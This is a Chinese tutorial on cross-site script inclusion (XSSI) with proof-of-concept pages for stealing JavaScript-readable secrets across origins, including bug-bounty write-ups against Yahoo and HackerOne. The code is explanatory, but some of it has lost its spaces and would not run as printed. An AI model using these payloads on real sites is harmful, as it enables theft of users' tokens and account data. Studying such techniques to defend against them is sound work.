同源策略
同源策略是Web应用程序安全模型中最基本也是最核心的策略。
现在所有支持JAVAScript的浏览器都会使用这个策略。
所谓同源是指,域名,协议,端口相同。
同源策略规定,不同源的客户端脚本(JavaScript、ActionScript)在没明确授权的情况下,不能读写对方的资源。
此策略可防止一个页面上的恶意脚本通过该页面的Document Object Model访问另一网页上的敏感数据。
为了满足同源策略,浏览器对不同访问行为进行了限制,限制规则一般如下:
XSSI原理
XSSI漏洞全称为跨站脚本包含漏洞,攻击者通过使用<script>标签(所有带src或href属性的标签以及部分其他标签可以跨域)跨域包含特定文件/页面
可以窃取符合JavaScript格式的文件中的敏感信息。
攻击者会将可泄露用户信息的JavaScript文件包含进来。
这里获取的目标数据,即敏感信息,大致分为几类:
认证凭据
CSRF token
用户个人信息等
XSSI、XSS、CSRF的区别
XSS 攻击是指攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。
攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,有时也会包含 html 和 Flash。
有很多种方式进行 XSS 攻击,但它们的共同点为:将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作
CSRF(跨站请求伪造),指冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求]。
XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了
而XSSI(跨站请求包含)是XSS的一种形式,即浏览器不会阻止网页加载图像和文字等资源,这些资源通常托管在其他域和服务器。
例如,如果abc银行有一个脚本用于读取用户的私人账户信息,攻击者可以在其自己的恶意网站包含这个脚本,当abc银行的客户访问攻击者的网站时,攻击者就可以从abc银行的服务器提取用户信息。
从表面上看,XSSI和CSRF看起来很相似,因为在这两种情况下,请求都是从恶意页面发送到另一个域的,并且在两种情况下,请求都是在登录用户的上下文中执行的。
关键区别在于目标。
在CSRF中,攻击者希望在受害者页面内执行恶意操作,例如在网上银行应用程序中进行转帐。
在XSSI中,攻击者想要跨域泄露数据,以便再执行攻击。
与jsonp劫持的关系
jsonp劫持等利用js对插入函数进行插入恶意代码,将敏感数据发送到攻击者的服务器,实际上就是对存在jsonpjack持守入侵的网页进行发起一次请求,让其受害者客户端执行插入的恶意代码
而xssi主要获取服务器为每个客户端生成的动态js文件中的敏感数据,达到信息定向的目的,这种信息可能包括用户的登录凭证,严重可导致任意用户账号接管。
XSSI通常区分为三种情况。
但是利用方式是相似甚至是相同的(就像反射与存储的XSS)。我们可以将三种情况区分如下:
静态JavaScript(常规XSSI)
直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js
假设敏感内容设定在一个全局变量中,如下面的现实例子:
var privateKey ="-----BEGIN RSA PRIVATE KEY-----
....
-----END RSA PRIVATE KEY-----",
keys =[
{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },
{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }
];
利用POC:
<html>
<head>
<title>Regular XSSI</title>
<scriptsrc="https://www.vulnerable-domain.tld/script.js"></script>
</head>
<body>
<script>
alert(JSON.stringify(keys[0]));
</script>
</body>
</html>
1.敏感信息存储在全局变量
http://vuln.com/dynamic.js
var token='secret';
利用POC
http://attacker.com/xssi.html
<!DOCTYPE html>
<html>
<head>
<title>xssi</title>
</head>
<body>
<scriptsrc="http://vuln.com/dynamic.js"></script>
<script>alert(token);</script>
</body>
</html>
2.敏感信息被外部函数处理,可以重写函数
http://vuln.com/dynamic1.js
(function(){
var token='secret';
doSomeThing(token);
})();
利用POC:
http://attacker.com/xssi1.html
<!DOCTYPE html>
<html>
<head>
<title>xssi1</title>
</head>
<body>
<script>function doSomeThing(data){alert(data);}</script>
<scriptsrc="http://vuln.com/dynamic1.js"></script>
</body>
</html>
3.利用原型链窃取敏感信息
对于非常规情况,可以考虑利用原型链获取数据
http://vuln.com/dynamic2.js
(function(){
var token='secret';
var data=token.trim();
})();
利用POC:
http://attacker.com/xssi2.html
<!DOCTYPE html>
<html>
<head>
<title>xssi2</title>
</head>
<body>
<script>String.prototype.trim =function(){alert(this);}</script>
<scriptsrc="http://vuln.com/dynamic2.js"></script>
</body>
</html>
1.IE bug导致错误信息泄漏 (ie 9 和 ie 10)
为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,当是在ie9与ie10,情况不一定如此。
一般来说,在外部js发生语法错误的情况下,浏览器只会提供固定的错误信息,
但是当在runtime发生错误的情况下,浏览器会提供详细的错误信息。
比如”foo 未定义”之类的,某些浏览器一旦允许外域js回复详细的错误信息,就会导致信息泄漏。
就是说,当某个网页的内容能被js识别为javascript格式的话,那么就可能通过错误信息获取到目标的内容。
比如,目标网页
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:13
1,abc,def,ghi
攻击者设置错误显示
#!html
<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
一旦加载成功,网页则会显示 “‘abc’ is undefined”
会出现这种情况是因为浏览器将目标识别为javascript,那么abc就会被识别为某个未定义的变量。
当为这种情况的时候,浏览器就允许页面捕捉来自不同网页的错误信息。
做一个总结就是,有被利用的可能性的数据都是可以被识别,或者通过某种方式识别为有效js的数据。
不过,稍微需要注意的一点,出现该漏洞的只有ie 9 和 ie 10。
2.通过UTF-16编码获取其它类型的数据 (ie版本小于10)
大家可以看到,上面的东西只在csv这种操蛋的玩意上有用,
所以我们做了更多的研究看看能否获取不同格式的数据,
之后我们发现通过UTF-16编码可以达到我们的目标。
其实本身是一个很简单的技巧 比如页面a ,我们加入 charset=”UTF-16BE”
#!html
<!--set an error handler -->
<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>
<!-- load target JSON -->
<SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>
然后json数据长这个逼样
HTTP/1.1200 OK
Content-Type: Application/json
Content-Disposition: attachment; filename="a.json"
Content-Length:39
{"aaa":"000","bbb":"111","ccc":"222"}
当响应缺少字符集规范的时候,会被charset属性强制转码为固定的编码,我们用这个技巧撸掉了许多有名的浏览器,包括ie 9。
测试这段代码之后,我们给自己弹了个窗。
我们可以看到一串乱码,因为,当浏览器获取目标网页的数据,之间经过了一次编码,然后到我们的页面上经过charset制定的字符集进行了一次解码。
我们能很简单的得出一个结论就是我们能通过对乱码的再次编码来获得原有的信息
不过需要注意的就是只有当编码后的信息能够被浏览器识别为有效的js标示符的时候攻击才有可能成功,这是一个重要的条件,
对于不同的平台的编码是有所不同的,在ie上可以被识别为有效js标示符的字符是多于其他平台的,至于其他来说ie的 ECMAScript规范 跟其他浏览器总体没什么不同。
打个比方对于ie来说 ‘3q’ (U+3371, ㍱) 在 unicode编码中会被认为是 属于 “Symbol, Other [So]”,就是符号的一种。
总的来说这种形式的认定不应该发生在任何浏览器中,不过ie可能比较2b一些。
我们花了很多时间研究了什么样的组合,能够被浏览器认定为有效的js标示符,当字符编码为UTF-16的时候的数字字母组合,ie 9将其99.3%认为是有效的js标示符,高于chrome和firefox。
具体结果见下图
需要注意的一件事就是在ie 10 或者更高的版本,可能攻击无法奏效,因为ie 10 拒绝将没有空字节活着bom的编码为utf16。
3.chrome/firefox 中 Harmony proxy bug利用
Harmony是一个ECMAScript 6中的新功能 ,类似于java的反射类,其中定义了对于对象属性的查找,分配,函数调用
在我们针对这些新特性的研究过程中发现该功能可以用于xssi的攻击中
#!html
<!--set proxy handler to window.__proto__ -->
<SCRIPT>
var handler ={
has:function(target, name){alert("data="+ name);returntrue},
get:function(target, name){return1}
};
window.__proto__ =newProxy({}, handler);
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
注意其中的window.proto 定义了一个代理对象,当访问一个未定义的全局变量,就会出发handler进行处理。
然后csv文件长这样:
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:13
1,abc,def,ghi
当访问攻击页面的时候如果攻击成功那么久会收到 “data=abc”, “data=def”, “data=ghi”的弹窗,我们在firefox和chrome都得到了验证。
4.穷举
假设一个攻击页面通过js 加载了下面的csv文件。
HTTP/1.1200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length:8
1,xyz123
一旦加载我们就会得到一个 xyz123未定义的错误
换句话说,如果我们在加载外部文件之前定义了这个标示符,那么我们就不会受到这个错误,同时我们也可以判断xyz123是存在于外部文件中的。
也就是说我们需要一个合适的检测错误是否发生的方式。
一般情况下浏览器是不提供详细的外部错误信息,不过仍然会返回一个通用的错误标示。
所以说穷举信息还是是存在可能性的。
总的来说我们发现三种穷举的方式
第一种是二元搜索。
比如你知道目标会是 “xyz121”, “xyz122”, “xyz123” 和 “xyz124″中的其中一个,可以先定义前两个变量然后看有无错误爆出,然后定义后两个,然后再缩小目标。
第二种是使用 js 的getter,像下面酱紫
#!html
<!--set getters -->
<SCRIPT>
Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}});
Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}});
Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}});
Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}});
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>
就是目标值访问 window.**|||||| 会触发上面的规则。
第三种是使用vbscript来获取json数组
这个思路来自Hasegawa做的研究,组合vbscript和json进行攻击(4]
目标页面长这个样子
HTTP/1.1200 OK
Content-Type: application/json
Content-Disposition: attachment; filename="a.json"
Content-Length:12
[1,"xyz123"]
然后再我们的攻击界面中调用vbscript
#!html
<SCRIPT language="vbscript">
Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSub
Sub[1,"xyz122"]:MsgBox"value=xyz122":EndSub
Sub[1,"xyz123"]:MsgBox"value=xyz123":EndSub
Sub[1,"xyz124"]:MsgBox"value=xyz124":EndSub
</SCRIPT>
<!-- load target JSON asVBScript-->
<SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>
跟上面的攻击相似,都是通过穷举来获取目标值。不过vbscript只试用于ie
5.csv获取
上面获取csv的信息只在目标的字符串没被引号扩起来的情况下,不过同样是一些小技巧能够使我们绕过这一限制。
让我们假设一个csv长这个b样。
1,"___","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"___","[email protected]","03-0000-0099"
假设攻击者能够插入自己的字符串,那么只需要根据RFC相关CSV (RFC 4180 (12])中的规定来添加一个双引号就可以bypass这个限制。
for example
1,""",$$$=function(){/*","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"*/}//","[email protected]","03-0000-0099"
一个比较蛋疼的问题就是如何获取多行的信息,因为多行在js中是违法的
上面的例子里,我们使用 .toString() 获取函数远吗来达到攻击目标数据的目的。
这种攻击方式试用于所有的浏览器。
一种获取多行内容的方式可以在chrome和firefox中奏效,就是ECMAScript6模版字符串中通过反引号来获取多行内容。
雅虎XSSI漏洞实现用户信息窃取
在雅虎(Yahoo)漏洞众测项目中,通过BurpSuite来进行抓包分析,发现下图的请求:
测试发现是JSONP服务端,在雅虎网站API中,.crumb 值其实就是一个随机字符串
它与用户的session和身份验证值相关,并且如果在该请求中,GET参数 .crumb 值无效的话,其响应如下:
如果能以某种方式去窃取到受害者的有效.crumb 值的话,那么就能窃取到对方的具体账号信息值了。
因此,在BurpSuite的抓包中来查找所有包含有效 .crumb 值的请求,最终,发现了在某个动态的Javascript文件存在这样的信息
该Javascript文件位于
https://messenger.yahoo.com/embed/app.js。
源代码如下:
这个XSSi 漏洞原理其实是这样的,它允许攻击者绕过原始边界窃取特定类型数据,
利用了script标记的src属性来突破同源策略( SOP),也即在script标记中,浏览器不会阻止网页加载图像和文字等第三方资源。
因此,为了窃取
https://messenger.yahoo.com/embed/app.js
中的有效回调 .crumb 值,然后把它放置在链接
https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx
中进行请求,以获取到相关用户的session信息,POC代码如下:
<html>
<head>
<title>Yahoo XSSi PoC</title>
</head>
<body>
<divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;">
<h1style="text-align: center;">Proof of Concept</h1>
<b>Dataset 1:</b>
<divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>
<br/>
<b>Dataset 2:</b>
<divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>
</div>
<script>
function processDeviceUsers(data){
document.getElementById("content1").innerHTML = JSON.stringify(data);
}
window.onload =function(){
var config ={};
config_data ={};
config.merge =function(data){ config_data = data };
iris.initConfig(config);
document.getElementById("content2").innerHTML = JSON.stringify(config_data);
var src ="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb;
var s = document.createElement('script');
s.setAttribute('src', src);
document.body.appendChild(s);
}
</script>
<scriptsrc="https://messenger.yahoo.com/embed/app.js"></script>
<scriptsrc="https://code.jquery.com/jquery-3.3.1.min.js"></script>
</body>
</html>
效果:
hackerone漏洞:如何利用XSSI窃取多行字符串
由于浏览器不会阻止一个域名中的页面直接引用其他域名的资源
所以我们可以在script标签中引入第三方域名的资源,然后观察其运行情况
但我们现在还无法读取到来自第三方域名script标签中的内容。
需要注意的是,包含script标签的不一定必须是JS文件,文件开头也无需标注text/javascript,而且文件的扩展名也并非一定要是“.js”。
hackerone存在漏洞的地址是:
https://hackerone.com/reports/12345/export/raw?include_internal_activities=true
这是“导出”功能的一个部分,它允许我们查看或下载原始报告内容。
点击之后,浏览器便会发送上图所示的GET请求。
这是一个XHR请求,并带有一个反CSRF令牌。
我们可以在浏览器中看到GET请求所对应的完整响应信息:
为了跨域泄漏报告(Report)的内容,所有的语句必须是有效的JavaScript语句。
以下是报告demo:
第一行是一条标记语句(“Title”后面跟着的是用户提供的标题),标记语句是一种有效的JavaScript语句,后面可以跟自己的输入参数。
为了获取到多行字符串数据,这里还要用到反引号( )。
接下来,在结尾的反引号中添加一条注释来作为字符串结束的标志。
现在,可以script标签中嵌入上面给出的URL地址,然后就远程提取出所需要的数据了
POC如下:
<!DOCTYPE html>
<html>
<head>
<metacharset='utf-8'/>
<script>
//Tagged template literals
function demo( strings){
alert(strings);
}
</script>
</head>
<body>
<scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false '></script>
</body>
</html>
目前只知道两种控制JavaScript多行字符串的方法(串联和反引号转义)
ECMAScript 6也引入了一种箭头函数(Arrow_Functions),它允许开发人员使用简短的字符来定义函数。
下面是一个简单的例子:
除此之外,模版字符串(Template Literals)则是一种更简单的多行字符串处理方式。